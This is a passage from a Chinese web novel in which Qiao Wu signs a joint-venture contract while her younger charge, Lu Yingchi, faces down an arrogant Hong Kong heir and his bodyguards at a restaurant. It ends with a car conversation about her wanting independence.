他也需要戒断?! 她朝周围那些恐慌已经准备报警的游客们含着歉意笑了笑:“不好意思,他开玩笑的。” 陆尽之点头。 “只针对叫沈延的客人。”他示意乔梧上船,“要迟到了。” 乔梧点头。 沈延:“???” 你神经病啊陆尽之! 沈延原本定的那条船上的工作人员压根不敢说话,只好礼貌性地望着沈延:“您……还坐吗?” “不然老子游过去?!” 他也要迟到了! “我要投诉你们老板!”他愤怒地说。 工作人员有点无语,但还是诚恳道:“那您刚才就可以直接跟他说。” 沈延:“……” 啊啊啊啊啊! 乔梧透过窗户看到沈延上船后,望向坐在对面的陆尽之:“你被陆宣他们传染了?” 陆尽之把玩着手里的小镜子,像是刚才什么都没有发生一样,闻言挑眉:“这是个侮辱性的比喻。” “这不是重点。”乔梧叹了口气,“你是不是有点霸道了?” “我很霸道。”陆尽之坦然承认,“霸道总裁是这样的。” “……” 乔梧难得被他堵得无言,真是。 “你那天还跟我说我对陆宣他们的底线太低了,不要纵容 他们。“乔梧挑眉,“怎么到你这儿就不作数了?” 陆尽之手上动作微顿,终于抬眸看了一眼她。 不知怎么,他觉得现在乔梧看他的眼神,跟看陆宣他们没什么区别。 “我只是加一个微信而已,并没有什么,甚至没有要跳槽。”乔梧觉得陆尽之比陆宣他们还要难哄,毕竟他很难理解这些情绪,所以也更加直白:“你这样的占有欲是不对的。” 占有欲? 陆尽之觉得自己的东西就该归自己,仅归自己。 更何况是他的特权。 这有什么问题? 他举起手里的镜子,视线在上面一晃而过,原本弯起的弧度在这瞬间也变得很平。 “我看见了。”他说,“我不高兴。” 乔梧心道,这还用看? 那五十万就很明显了好吧。 果然还是流着一样的血,这方面都一脉相承,这个还比那些更倔。 乔梧点了下头:“我不说了。” 治治就老实了。 第60章 第六十章二更 发布会结束后两人一起回程。 这个时间点家里人要么去学习,要么去工作了,乔梧远程跟佣人通过话确定家里没事后先去基金会开了个周会,把一周只能有合作意向的项目暂定下来,到了晚饭时间又去跟秦天睿见了一面。 这个地方没有包间,但二楼都是隔开的倒也不吵闹。 “律师团是跟我哥借的。”落座后秦天睿就迫不及待想要证明自己,把最近整理下来的公司信息全都递给乔梧看,“他难得没有说我胡闹。” 虽然他觉得很大一部分是因为他哥知道乔梧答应入股了。 有点离谱,秦家人做事还要看陆家人的选择。 乔梧过去的所有经验都是纸上谈兵,除了基金会也算是第一次拿到实打实属于自己的一份公司上下活动流程。 好在之前陆尽之回国时她已经借交接工作的机会大致了解了,一个小娱乐公司倒不是什么难题,也不用投进去很多钱。 她虽然不是专业律师,但相关法律细则也都是大致了解的,所有公司信息都没有任何问题。 “合同我看看。” 秦天睿忙把两人合资的合同拿出来:“都是我家律师整理的,你放心,不比陆家的差。” “那也得看了才知道。” 乔梧看得认真,秦天睿光盯着她就觉得有点莫名紧张,只好视线往四周转移让自己冷静一点。 然后就看到有一群人从外面走了进来。 一群少年气才将将褪去的大学生,个子都不算矮,其中有个最高的尤其突出的黄毛眼熟得令人牙痒痒。 这地方是姜园名下的产业,因为是新开的,所以他来这里也算是给人家捧个场,没想到还能遇到陆应池。 他看了还在看合同的乔梧一眼。 算了,看在合作伙伴的面子上,就不跟小屁孩较真了。 以后他是小秦总,但陆应池还只是陆应池。 终于比得过了! “陆应池。”他提醒。 闻言乔梧抬起头,顺着他的视线往楼下看了一眼。 果然见陆应池和他的同学在楼下落座,有几人都很眼熟,之前见过,他今天是说跟同学打篮球聚餐不回家吃晚饭了。 只看了一眼乔梧就将视线收了回来:“嗯。” 嗯? 秦天睿感到稀奇。 过去乔梧不是把陆应池当做眼珠子一样护着么,今天看到了连个招呼都不打? “你们吵架了?”他看热闹地问。 吵了就直接挖来秦家。 那他就比他哥牛逼了! “没有。”乔梧没抬头,甚至还往里面坐了坐,神色自然,“他有自己的正常生活,我不掺和。” 要是她打了招呼,这顿饭陆应池都不会老实坐着吃的,而且她不保证要是陆应池看到她跟秦天睿坐在一起会发什么疯。 秦天睿失去兴致:“哦。” 楼下的陆应池坐在最外面,现在他们班的男生打球都会叫他一声,今天跟隔壁学院的有球赛,他想着之前秋游时闹过一次,万一有哪些不长眼的惹事儿他也能盯一下,所以也去了。 打赢球赛后大家说要出来聚餐,他想了下开会以来每一次聚餐他也没去,干脆就趁着这个机会请一起打球的来吃饭,正好姜园开了家新餐厅。 同学们在点菜,他就拿出手机给乔梧发消息。 又是炫耀今天拿了第一名,又是明里暗里说自己开始跟同学合群顾及群体利益了。 话里话外都是想要奖励。 但他发出去好久乔梧才回复:“做得很好。” 又说:“周五放学来接你一起去静水别墅。” 这算什么奖励! 他要的是跟上次一样那种,在零环线为他的胜利买单! “只有这个吗?”他不死心地问。 隔了几秒,乔梧给他转了账:“你跟同学们一起赢了比赛,请你们吃饭。” 陆应池看着那笔钱。 还没他转给陆柠买照片的多。 似乎跟在零环线是一个意思,但好像又不是,他说不上来有哪里不得劲。 同学们捅了捅他的手肘:“陆哥,你吃什么?” “都行。” 陆应池随便点了几个,自从他在村里吃过饭以后,他现在觉得除了真的吃不惯的菜品,其他的他都能试试,万一好吃呢?他连穿衣服都没那么讲究了,舒服就行。 看到酒水单,他又问:“要喝点酒吗?” “不喝了。”同学们纷纷摇头。 这里的菜品都不便宜,他们大多都是普通家庭的孩子,一两个人来这儿吃饭AA还能消费,但今天是陆应池请客,这么多人点菜已经花了很多钱,他们怎么还让人家买酒呢。 这种店里的酒比菜贵的多了。 陆应池难得敏感一次,之前秋游的时候这几个无酒不欢,今天打球赢了说要聚餐的时候还说不醉不归,怎么现在就不喝了。 他看了眼大家拘谨的样子,忽然就想到上次跟乔梧一起去村里的时候,那几个村干部对他就是这样的。 今天他还没去包间呢,就在大厅坐的,还把大家搞不自在了。 他暗暗骂了句脏话。 但人都坐在这儿,也跟姜园开过口了,也不好再走。 “喝点儿吧。”他将菜单扔了,“这是我朋友新开的店,我在这儿吃饭打折,而且以前还在他那存了不少啤酒。” 啤酒? 这地方喝啤酒? 同学们震惊地看着他,显然不太相信。 陆应池拿起手机就给姜园打电话,在对方没开口前就直接道:“朋友,我在你店里坐着了,之前在你那存的啤酒先拿两件过来?” 要是别人可能就蒙了,但姜园是谁,是在各大有钱人眼底下滑得跟鱼一样的人。 陆家小小姐来他都打算现挤奶,现在拿两件啤酒算什么。 所以他几乎没有任何犹豫就反应过来了:“好,我一会儿让人给你拿。” 听他这么识相,陆应池又问:“你们新店打几折来着?” 打折? 来他店里捧场的这些少爷小姐大小老板就没说过要打折,还要多给他消费开酒贴钱的。 姜园语气很自然:“五折,生意不太好,多谢捧场。” 原本陆应池还觉得姜园是个钻钱眼里的市侩小人,现在却忽然觉得这人真的很不错,他满意点头:“好,我们会好好品尝的。” 他挂了电话看向呆若木鸡的同学们,带着几分得意:“看吧,放心吃,他生意不好吃不完今天的新鲜食材都得浪费。” 这下同学们立刻就信了他的确跟老板是很熟的朋友,自然也放开了很多,难怪这店里看起来人很少,原来是生意不好。 “我觉得可能是定价太贵了。”叶梁说,“门口也没挂新店优惠广告,你可以跟你朋友提一提建议。” 费景明也点头:“可以做一些套餐之类的,先把人吸引进来再说。” 陆应池靠着椅子, 深有同感地点头:“我会跟他说的,为了感谢你们的建议,让他再送我们一件酒。” “那就不用了!” 因为店里人不多,他们又正好坐在乔梧这个位置的下面,也能听到一些声音。 乔梧无声笑了下。 陆应池的嘴硬有目共睹,没想到今天还挺会来事儿。 对面的秦天睿看清了她所有的表情变化:“你看起来有种我家有儿初长成的成就感。” 乔梧:“其实我看你也是这样的。” “?” “合同做得不错。”乔梧拿出笔签上自己的名字,“合作愉快,小秦总。” 一声小秦总给秦天睿叫得浑身舒爽。 他发现他很享受在乔梧眼里站起来的感觉,可能是因为当初被她狠狠地踩进泥里过吧。 他嘴角都要咧到后脑勺了,还装得二五八万的伸手:“合作愉快,乔总。” 都不是什么外人,不需要在酒桌上谈生意,所以两人是签了合同才开始吃饭的。 楼上楼下的菜几乎是一同上齐,一群男大声音听起来已经放开了很多,有说有笑。 虽然说着要让陆应池他们戒断,但跟眼前的秦天睿比起来,乔梧分了更多的心思在楼下,事实上她的耳朵一直在放哨,哪怕有一点反应她都会下意识看下去。 所以门口进来人时她也随意瞟了一眼,然后目光忽然定住。 来人是当初被她在零环线教训过的胡卓和洪承,一行四人,其中两人都是生面孔,但六人中谁是中心位一目了然。 站在最中间的年轻男人眉眼间多了几分锐气,双手插兜,完全以自我为中心。 而胡卓脸上的奉承藏也藏不住。 应该是胡卓新攀上的人,乔梧吃饭的速度慢了些。 才进门的胡卓自然也看到了显眼的陆应池,在人群里陆应池的身高和颜值一向鹤立鸡群。 不过现在的陆应池跟他印象中差得太多,以前的陆应池身上的衣服永远都是齐齐整整,满身都是奢侈品,从头到脚都透着一股老子最牛逼的富家子弟的桀骜不羁。 但现在的陆应池白色卫衣外面套了件黑色球服,头发上绑着条运动止汗发带,半挽着袖子正在听身边的同伴说话,听到什么好玩的就扬眉笑一笑,脸上是他从来没见过的轻松的表情,像极了大学校园里热血向上备受欢迎的校草,朝气蓬勃。 而他身边那些显然是跟他一样的同学,大家的高脚杯里,装着的竟然是啤酒?! 来这种地方喝啤酒?! 不是,姜园的店里有啤酒么。 胡卓还在惊讶着,就听身边的人凉凉问了一声:“这就是你跟我说的,很有格调的地方?” “不、不是。”胡卓结巴了一下。 他身边这位是从港区那边来内地发展的富豪少爷,好不容易抓住机会认识的。 自从上次在零环线出事儿以后,他再也没去过那里,平时要见一下姜园也难,这次好不容易趁着新店开业的机会,他把这少爷带来认识认识姜园。 想在内地发展,姜园的人脉真的挺重要。 好不容易把两边都约到了,结果上来就遇到了陆应池。 冤家路窄。 胡卓硬着头皮解释:“他的这种店,一般不这样。” “那现在为什么不一般?”年轻男人有些不耐。 他自然看得懂胡卓心里的小九九,但他做生意有时候踩着这种人会更简单一些,所以不介意给对方一点甜头吃吃,但现在他觉得自己被耍了。 胡卓把那个叫姜园的吹得天花乱坠,但这店怎么看怎么不像一个会常常有人来进行高端商务会谈的样子,即便装潢不错,却像大学生聚会的地方。 “可能是朋友们聚一聚。”胡卓说,“他们声音也不大,不影响什么。” 话是这么说,但赖深过去跟任何有身份的人聊天,哪怕是私人聚会都是在私密性极好的地方,寻常人根本进不去,所以在他看来,那个所谓的姜园就已经不是什么很重要的人了。 他转身就要走。 “赖少爷听过陆氏集团吗?”旁边的洪承忽然道,“坐在最外面那个是陆氏集团的四少爷。” 陆氏? 赖深听他父亲提起过,内地商圈顶头的人物。 最近也是听说陆家换了新总裁,是他家的二少爷,所以趁着这个机会才让他也来内地闯一闯,反正都是年轻人。 赖深在网络上见过陆氏新总裁的模样,的确有几分样子。 但他家四少爷居然这么…不修边幅不成体统。 “对!”胡卓忙道,“这陆应池本身就是个纨绔,还能指望他在这种地方干点什么好事儿呢,我们不跟他一般见识。” 同样都是家中老四,看着没什么嘛,赖深眼中划过讥诮。 “他叫陆应池?” “没错。”胡卓说,“他就喜欢喝喝酒玩玩车跟一些七七八八的人混着,没什么建树。” “脾气还差。”洪承跟他你一言我一语地贬低,“之前一起去游艇上玩,他不高兴了就倒人胡卓一身酒。” 赖深对这些人什么恩怨不感兴趣。 但显然这两人不喜欢那个陆家老四,那他就看这两人顺眼了。 “这压根没什么可比性啊。”跟赖深一起来的其他人看了那个所谓的陆家四少一眼,“我们赖公子是干正事儿的。” 赖深挑着唇,也不着急走了,他径直走到陆应池他们旁边的位置上坐下:“坐这儿吧。” 胡卓实在不想跟陆应池同框出现:“不然我们去二楼?” 赖深凉凉看了他一眼:“就在这儿。” 行,都是老四,脾气都一样倔。 服务生拿着菜单上来,赖深看都没看就道:“跟他们那桌一样。” “会不会太多了?”胡卓问。 赖深觉得这人真就天生给人做狗腿的命,一点眼力见都没有,他冷笑:“我是吃不起?” 这下胡卓就不敢说话了。 费景明几人自然是知道陆应池跟胡卓闹掰了的,当初在车上陆应池还冒火地说不要把他和胡卓归为一类人,所以看到胡卓来了以后,就朝陆应池使了个眼神。 见陆应池侧头看来,胡卓条件反射地挺直了背,可下一秒对方却没什么情绪地收回视线。 没有以前的暴怒,也没有什么怨恨,就是纯纯把他当做透明人。 胡卓觉得自己的脸一瞬间全掉光了。 陆应池的确懒得在意胡卓,那种人他看一眼都嫌脏,胃口都会不好。 他最近心情还可以,在乔梧眼里的形象也好了,暂时不想惹事儿。 两人之间短暂的交锋被赖深看在眼里,他在意的不是陆应池对胡卓的无视,而是那人对自己的无视。 刚才没看到正脸,刚才那瞬间他就清楚的看到了这位陆家老四的长相。 哪怕穿着再普通不过的球服,可眼神扫过来的那瞬间极具碾压性的冲撞感让他觉得不适,仿佛遇到了一个未知却强有力的对手的感觉。 他坐在胡卓这种人的身边,陆应池居然还能无视他? 赖深很不爽。 过了会儿,菜品都陆续上来。 他扫了一眼桌面,皱眉:“酒呢?” “先生,您没有点酒。”服务生将酒水单递过去,” 现在要点吗?” 赖深随手翻了下,并没有在上面看到啤酒,所以那些啤酒是陆应池他们的特权?他更不爽了。 “说了要跟他们一样的,听不见?”他把酒水单扔下,“没有啤酒就去找,他们的是怎么来的,我的也要怎么来。” 能在姜园手底下做事儿,服务员也很灵活,马上道:“先生请稍等。” 但是来到后厨她立刻就给姜园打了个电话。 感觉那桌客人像是来找事儿的。 胡卓托人转告姜园,今天有个港区那边的赖家来人,想跟他认识一下。 所以哪怕再瞧不上胡卓,他也得给赖家一个面子。 但现在一接到电话就知道,对方怕是跟陆应池那边撞上了。 胡卓是不敢惹陆应池的,那赖家四公子是怎么跟陆应池有恩怨的?没听说过啊。 他说:“你分别问问两边,愿不愿意去二楼。” 服务生明白,所以借着送酒的歉意去询问了。 赖深肯定不愿意走。 但陆应池愿意,有人免费让他白吃他为什么不答应,还能不看到某些倒胃口的东西。 同学们知道陆应池跟老板是朋友,猜想也是老板不愿意让陆应池跟胡卓撞上,所以都很配合地准备挪位置。 一众人才站起来,坐在隔壁的赖深就拿出手帕抵了抵鼻子:“你还说什么环境好,臭死了。” “算了。”他现在就愿意挪位置了,还让服务员过来,“我改主意了,我也要上楼去,你去找个最好的位置。” 服务员:“先生,我们二楼的隔间都是一样的,或者您喜欢哪个朝向呢?” 赖深扫了一眼最高的那个男生,挑眉道:“离这些人远一点的。” 说着就站了起来:“端菜的时候小心点,别让人甩着汗在里面了。” 同学们拳头纷纷捏紧,都是血气方刚的男生,怎么会不知道这人是在故意贬低他们,胡说八道,他们来之前明明就在水龙头那洗过脸和手,还用湿纸巾擦过! 陆应池站在最前面,原本一直没怎么在意的眸色这次终于落到了那个花孔雀的身上,一点点渗出戾气。 原来是冲着他来的。 不是,胡卓这个逼玩意儿是还不知道他脾气有多爆吗?还敢来惹他?! 看到陆应池的眼神,胡卓当即就知道完蛋了,他是真没想着要惹陆应池啊! 陆应池回头看了眼:“你们先上去。” “不去。”费景明几人坚定地站在他身后,“他们故意的。” “我带你们来我是要负责的知不知道?”陆应池轻啧一声,指着自己强调,“我是很负责的人。” 几位同学:不是哥,现在是强调这个的时候吗? 人家眼里都要冒火星子了! “一起来的。”费景明低声说,“要是打起来我们人多能帮你压着。” 陆应池眼神有些怪异,他第一次打架听说有人要帮他一起打。 他其实有点想说,眼前这几个人换做谁,一拳下去他们都得赔不少。 但话到嘴边却说不出来。 没事儿,到时候大不了他来赔。 他重新回头,看着战战兢兢的胡卓,语气不善:“我记得上次没给你开瓢,怎么脑子还是丢了。” “您误会了。”胡卓下意识开口解释,“我们没有别的意思!” 这话在赖深眼里就是认怂,他也站起来,冷笑:“不是你们说他是纨绔混子没什么建树的时候了?” 洪承和胡卓膝盖都要软了,两边他们都惹不起,冷汗直冒。 不过赖深也不指望他们做什么,他微微眯眼,这人站起来比他高,这让他更加不爽。 “这是什么架势,是要动手?”赖深轻嗤,“陆家老四就这么个粗鲁样?” 陆应池都不意外这人知道自己是谁,知道他的人多了去了,但他也懒得知道。 那的确应该让这人来看看什么是真正的粗鲁,他动了动手腕:“想知道我当时是怎么给他开瓢的吗?” 此时二楼上的秦天睿妆模作样地问对面一动不动的人:“不会打起来吧?不管管?” 一边说一边拿出手机点开录像。 乔梧:“……” 她看着想要冲上去的陆应池,忍住插手的冲动。 可以管,但在事态没有太严重之前,她想先看看陆应池会怎么做。 她看着那个年轻莽撞的身影走上前。 下一秒从门口就冲进来了好多穿着黑衣服的保镖将几人团团围住。 乔梧顿时了然,是个不简单的人,否则也不会这么肆无忌惮,她不徐不疾拿出手机发了条消息。 楼下的陆应池没想到对面会带人。 而他面前的赖深极为嚣张地冲他笑:“陆应池,知道我是谁吗?你今天碰我一下,我家的保镖就能把你按在地上随我践踏。” 这些都是他父亲为了他的安全配备的,随时都跟在他身边。 见状连胡卓他们都硬气了很多,没想到陆应池还有吃瘪的时候。 但谁也没想到,陆应池却忽然笑了,而且笑得极其开心。 “老子管你是谁。” 他先是环视一圈,然后扫了一圈周围的人,最后才双手插兜俯身看着赖深,极其嘲讽地说:“那你知道我是谁吗?傻逼。” 赖深脸色一变。 他的家教让他说不出这种词。 但他从来不允许任何人这么辱骂自己,所以他冷下脸:“给我抓住他。” 几个人高马大的同学立刻站上前:“干什么!” 在所有人忙着拦住保镖的时候,只有一直将手插在兜里的陆应池动了,他猛地拽住了这只花孔雀人模狗样的西装,在所有人反应过来之前,直接拽着人冲了出去,边走边把周围那些椅子全掀翻在地上。 赖深没想到他还敢动手,脚下一个踉跄直接往前倒去,最后是被陆应池直接硬生生拖出去的。 那些被其他同学们拦住的保镖立刻换了方向追出去,但被横七竖八的椅子拦着,愣是晚了几秒。 秦天睿被这突如其来的变故吓了一跳:“卧槽!” 他话音未落,原本一直在看戏的乔梧就起身下楼了,他忙跟上。 等所有人赶到门口,就见陆应池猛然松开手,将被拖得衣冠不整的赖深往地上一推,一只脚踩住了他的衣角。 看着那些冲上来的保镖,陆应池挑着眉深吸了一口气,忽然朝着周围大声喊:“救命啊!都来看看啊!这里有人玩**!聚众斗殴以多欺少欺负单纯的大学生啊!天理不同法理不容!!!” 所有人:“???” 正是晚饭时间,周围来往的人很多,一听这声音立刻都围了过来,一个个抄起手边的东西就瞪着那些穿着黑衣服的保镖。 保镖们都硬生生僵住了动作。 其他同学也纷纷反应过来,跟着一起鬼哭狼嚎。 赖深这辈子都没这么丢人过,他蜷缩着身体捂住脸:“陆应池!!!” 陆应池在这时蹲下身,别人还以为他是害怕地蹲下了。 实际上他低下头懒散地看着这只花孔雀。 “我不叫陆应池。”他桀骜的眉眼带着傲意,“我是陆。社会主义接班人。应池,怎么,你家没人让你看法制频道吗?” “我家有。”陆应池炫耀道,“可惜了,你没这种福分,只好让人民群众和警察叔叔来教育你一下了。” 提着一口气的乔梧看到这一幕,真是哭笑不得,靠在门口轻轻松了口气。 她是真担心这虎玩意儿。 秦天睿也没料到会是这么个画面:“神经病啊他!” 人群里那只狗耳朵微微一动。 好像听到了熟悉的讨厌的声音。 陆应池瞬间捕捉到声音来源,随即看到了靠在门口,正笑意盈盈看着他的人。 他一个激灵,立刻站起身来,双手举起表示自己的清白。 被他慌乱间踩到的赖深又痛苦地嚎叫了一声。 “卧槽。”陆应池立刻闪开几米远,“你踏马别碰瓷啊,我没打你!” 边说边往乔梧身边靠,力证清白:“真的没打他,你别生气!” 乔梧失笑:“看到了。” 陆应池这才注意到她这个方向,只能是从店里出来。 “你一直都在!”陆应池眼睛骤亮,尾巴也摇了起来,“一直在看着我对不对?” 他就说,乔梧不可能对他那么冷淡! 他扭捏了一下:“我这次表现是不是还可以?” 乔梧毫无保留地夸他:“很棒。” “那是。”陆应池尾巴翘得更高,嘚瑟地说,“我一直都是考核第一。” 乔梧实在没忍住,轻轻抬手碰了碰他柔软的头发:“我家弟弟怎么这么聪明。” 熟悉的书卷香味再一 次争先恐后涌入鼻尖,让之前被陆宣拍了脑袋就炸毛的陆应池愣了一下。 他下意识俯身,可脑袋却朝上轻轻顶了顶。 如愿隔着头发触碰到那双手,甚至依稀感受到了对方微凉的手温。 他眨了眨眼,不自觉蹭了蹭对方的掌心。 60-70 第61章 第六十一章爱听不听 秦天睿哪里见过陆应池这个样子,忍不住吐槽:“你是狗吗?” 直到这个时候陆应池才想起来自己开始是听到了谁的声音,哦,还有个人。 他警惕又防备:“你们怎么会在一起?” 秦天睿是个很小心眼的人,是不是上次被打了怀恨在心! 他如狼一般锐利的视线紧紧盯着秦天睿,又不放心地把乔梧全身上下都检查了一个遍:“他没欺负你吧?” “?” 你是没眼睛?上次是谁欺负谁?! 我能欺负她? 秦天锐咬牙:“你以为谁都像你,我们是来干正事的!” “你能有什么正事。” “陆应池!”人民群众已经将地上的赖深团团围住了,那些保镖也毫无办法,只好一个劲去隔开人群把自家四公子给扶起来,现场乱成一锅粥,费景明那几人也正好腾出手走过来。 看到乔梧站在这儿,一个个都跟军训似的,站得很直:“乔姐姐好。” 陆应池不爽:“谁是你姐,别瞎叫。” “你姐你姐,是你姐。”几人顺着他,又迷茫地问,“现在咋办啊?” “报警啊。”陆应池拿出手机,现在已经十分熟练地拨打报警电话了。 他觉得改天家里一定能挂上警察局送来的锦旗:“说他带人寻衅滋事,这狗玩意儿没带脑子。” 但他电话还没拨出去,就已经有警察到现场把群众都疏散开,控制住了这些奇怪的人。 叶梁疑惑:“热心群众干的?” 不知名的乔姓热心群众笑了笑:“等姜园来,给人道个歉。” “放心,坏的东西我会赔的。” “谁说让你赔。”乔梧挑眉,意有所指地忘了不远处的人一眼,“谁惹的事谁来赔。” 第一次来内地闯荡的赖深没想到自己出门第一天是被警察给带走的,他捂着脸躺在地上时,也不知道周围谁拿了什么东西,东一下西一下的打在他身上,疼死他了。 当他不知道被谁从地上拉起来,一抬眼面前就站了一堆警察,越过警察他看到了始作俑者站在不远处,还在笑眯眯跟一个看起来很有气质的女人说话。 他们是一伙儿的。 赖深从来没在谁身上吃过这种亏,气得他两眼发黑咬牙切齿:“陆应池,我要杀了你!” 话音才落就被警察啪的一下抽在脑袋上:“还不老实?打打杀杀你真是不知悔改。” 赖深瞪着眼睛,可还没来得及说话就被警察给带上了车,连带着跟他一起来的胡卓几人也一个都没落下。 这边闹得凶,导致堵车厉害,等姜园赶到的时候周围人群都已经散开了。 他匆匆走进店里,店里员工正在收拾归位桌椅,而乔梧那些人坐在楼上。 “乔小姐。”姜园真的头疼,一个个怎么不长眼睛呢! 他在来的路上员工已经跟他说过现场情况了,他也迅速托人了解了港城那边赖家的情况。 在乔梧身边拉了张椅子坐下,心情很复杂:“赖家那边您应该了解一些的,刚才那是赖家老四,年纪最小,之前胡卓说要介绍我们认识一下,但我也没料到……” 没料到原本那两个混世魔王现在老老实实,但却又来了个新的。 “赖家?” 乔梧的确听说过港城赖家,也是那边数一数二的人物,他家四个孩子各有各的妈,家里混乱得很,而且说来不太巧……她跟赖家的某个孩子还有些渊源。 在国外两年“她”混迹不少有钱人的圈子,跟那个孩子起过冲突,不过那时候人家不把“她”放在眼里就是了。 姜园说得情真意切,但乔梧多少了解一些他心里小九九。 等事情解决完他姗姗来迟,先把自己的立场表明了他不知情,反正没露面,到时候两边都不得罪。 果然,下一秒陆应池就十分“负责”地揽下所有责任:“出事儿我担着。” “你担什么?”乔梧淡淡瞥他一眼,“你知道那是谁?” “唔?”陆应池茫然,“现在不是知道了?” “你不知道。” 乔梧喝了口茶,慢悠悠道:“你今天只是跟同学在一起吃饭,哪怕遇到以前有过矛盾的人也没有计较过去的恩怨,但没想到有个陌生人突然对你和你的同学们言语羞辱,你出头只想让对方道个歉,可是那个人却忽然找保镖进来对你们动手,你是害怕的时候自保才把人抓出去向群众求助的。” 她抬眸,轻轻笑道:“直到现在,你们也不知道那是谁,知道吗?” 其余人:“……” 要么说您有智慧呢。 “没错!”姜园立刻反应过来,“胡卓只说介绍一个人给我认识,我还没到现场呢,还不认识对方。” 乔梧放下茶杯,又看向其他几个同学:“你们只是普通大学生,怎么会跟港区来的富家公子有矛盾?有钱人也不能为所欲为。” 这下子几个清澈单纯的男大学生立刻心领神会。 “是啊,我们只是聚餐而已!” 他们什么身份地位,怎么可能认识那种地位的人呢! “现在你可以拿着账单去找他们算账了。”乔梧朝姜园微微颔首,“但因为对方是你原本约的人,所以你不仅不要他赔,还送他几瓶酒赔罪再请他吃一顿饭,不过……” 姜园正愁这事儿要怎么做呢,那赖四公子一听就是个刺头,难顶。 “不过人家小孩去了警局,你没办法只能先把事情透露给他家里人知道。”乔梧想着印象里那人的性格,轻笑,“跟人长辈说声抱歉,怠慢了他家的孩子。” 这是直接把状告到人家家里去,还能撇清自己的关系,赖四那样的年轻人沉不住气,来这边历练还是没经验,结实下来无非就是多一个过去的**或是秦二。 但他家里人就不同了,要建立关系还是要建立在有话语权的人身上。 港城的人少来这边,但也不是没来过,姜园这样的人脉只要多问几人就能轻易问到联系对方的办法,以前没借口结识,现在就有了。 他深深看了乔梧一眼,朝她伸出手:“乔小姐真是蕙质兰心,今天你们所有的消费算我的,一会儿我让人再拿些私人珍藏的酒上来。” 乔梧跟他碰了碰:“给你添麻烦了。” “哪里哪里。” 姜园一脸郁色的来,又满心欢喜地走了,又吩咐厨房重新上了一桌好酒好菜招待着。 原本其他同学想着要不先走,可人家白送酒欸,还是私人珍藏,高低要试试深浅。 乔梧已经吃得差不多了,但既然已经跟陆应池碰面,她也没立刻走。 她只是让人戒断,又不是真的要跟他断交。 不过这会儿的陆应池精力已经不在喝酒上了,他只是小口小口的抿,谁问起他还要挺得意地说:“我家里人管得严,不让喝太多。” 家里人:“……” 她回头白了他一眼。 陆应池立刻黏上来:“他说你们在干正事儿,什么正事儿?” 乔梧将筷子头倒过来,抵住他的额头:“坐好。” 陆应池不情不愿:“我就是好奇。” 逮到机会扬眉吐气的秦天睿贱兮兮地说:“你求我我告诉你。” 陆应池横他:“别以为乔梧在老子就不扇你。” “你就只会用暴力解决问题?”秦天睿高昂着下巴,鄙视道,“整天跟没断奶的孩子一样,张口闭口就是乔梧,她只是你家管家,出来吃个饭还要分心盯着你,她没自己的生活吗?” 陆应池被他的阴阳怪气嘲讽得怒火上涌:“你再说一遍!” “说又怎么了。”秦天睿拍拍自己的包,“看到没,合同,我是来跟乔总谈公事合作的,不是来照顾小孩的。” 陆应池的诧异都大过了愤怒:“你跟这种人合作?” 乔梧卡在两人中间,神色平静:“你俩半斤八两,不会好好说话就滚出去。” 她没有刻意打断秦天睿。 虽然有时候对陆应池他们手段有些强硬,但她心里终究还是不太忍心说太过分的词,这个黑脸总要有个人来做,秦天睿说的话其实句句在理。 秦天睿没说得太重,因为他也怕乔梧生气,所以在对方出声时就安静下来了。 可陆应池却仿佛遭遇晴天霹雳,他不敢相信连秦天睿这样的人都能跟乔梧合作,但乔梧发话了他便忍着没有发作。 等到饭吃完,他没有上自己的车,而是给司机打了电话后亦步亦趋地跟在乔梧身后。 乔梧随他去了,她的确有些话要说。 但是碍于陆应池的同学们在场,她一直都给陆应池留了分面子。 两人上车后,她看着生闷气的陆应池主动开了口。 “我们的确是在谈工作,我跟他一起开了个公司。” “为什么?!”陆应池错愕地问她,“为什么是他?” “当然是因为共同利益。”乔梧示意他系好安全带,又从车载冰箱里给他拿了瓶饮料给他喝着解酒,“能冷静一点想想事情的合理性吗?” 之前在店里不是还挺冷静的,脑子也转得很快。 可只要在她身边,他们就会下意识把自己的锋芒藏起来,安安心心窝在她创造出来的舒适环境里。 这样不行。 “这本身就不合理。”陆应池说,“你知道他是什么人吗?他比我还能玩,他……” 乔梧声音淡下来:“陆应池。” 陆应池觉得喉头苦涩极了。 为什么乔梧现在居然还要替秦天睿说话,明明前段时间秦天睿还在恶意别他的车。 乔梧温声问:“如果不是秦天睿,你会质疑我的选择吗?” 委屈狗狗摇头。 “那为什么他不行?” “他就没做成过一件事。” “可这件事他做得很好。”乔梧把两人签的合同拿出来,递到他面前,“他向我证明了他能做好,所以我相信他,当然,我也可以听你的。” 陆应池眼睛一亮:“真的?” “真的。”乔梧示意他看合同,“如果你能把这份合同和我跟他之间的合作找出比利益更大的弊端,我就听你的。” 陆应池是学金融的,虽然今年才大一,但也开始学部分基础课了。 而且答应过乔梧不挂科,所以他现在上课都很认真,甚至还坐第一排。 天知道坐在第一排上课的含金量有多高。 他被乔梧说得有些心动,所以真的认真翻看起所有合同文件里的条条框框,势必要把秦天睿的弱势找出来。 但以他有限的专业知识来看,不管是这家娱乐公司的收购计划还是后面的合作合同,都没有任何问题,甚至乔梧的利益还占了大部分。 他翻来覆去好几遍,越看越沉默。 “能证明吗?” 陆应池把所有的合同文件合上塞到她怀里,将饮料打开,咕噜噜喝了好几口,冰冷的温度让他脑子也迅速降温,可眼睛有些发红。 “不能。” 他不得不承认。 乔梧:“所以为什么还要用以前的思维来对待该理性对待的事?” 因为是你。 不想让你跟我不喜欢的人在一起。 怕你受委屈,怕你吃亏。 但陆应池说不出口,他曾经说过要保护乔梧,可这会儿他突然发现自己做的事却都是在阻碍她,他做不了她的保护伞。 乔梧没有在任何人那里受过委屈吃过亏。 唯独在他。 陆应池将发带拉下来遮住自己的眼睛,仰头靠在椅子上,第一次承认自己的无能。 “为什么要开公司?”他问。 他知道乔梧不缺钱,她不愿意拘泥于陆家,她也去了基金会,可为什么还要往外面,越走越远。 他真的好难追上。 “因为要留一份底气。”乔梧没有瞒着他,“我想做自己的主。” 陆应池没扭头,他眼前全是被发带遮住的黑暗,很久以后他哑声问:“我怎么办?” “你会长出自己的翅膀,越飞越高。”乔梧说,“我们一起飞。” 陆应池愣了下,扭过头,可他看不见乔梧,只是朝着声音的方向,在脑海里想象出她现在的样子。 “一起?” “难道我走了你就要一直站在原地?”乔梧用合同敲了一下他的脑袋,“我又不是死了,我还是你的朋友,还是你的家人。” 陆应池对声音一直都很敏感。 所以此时他能完整地复现出乔梧之前摸着他的头发说“我家弟弟怎么这么聪明”的场景。 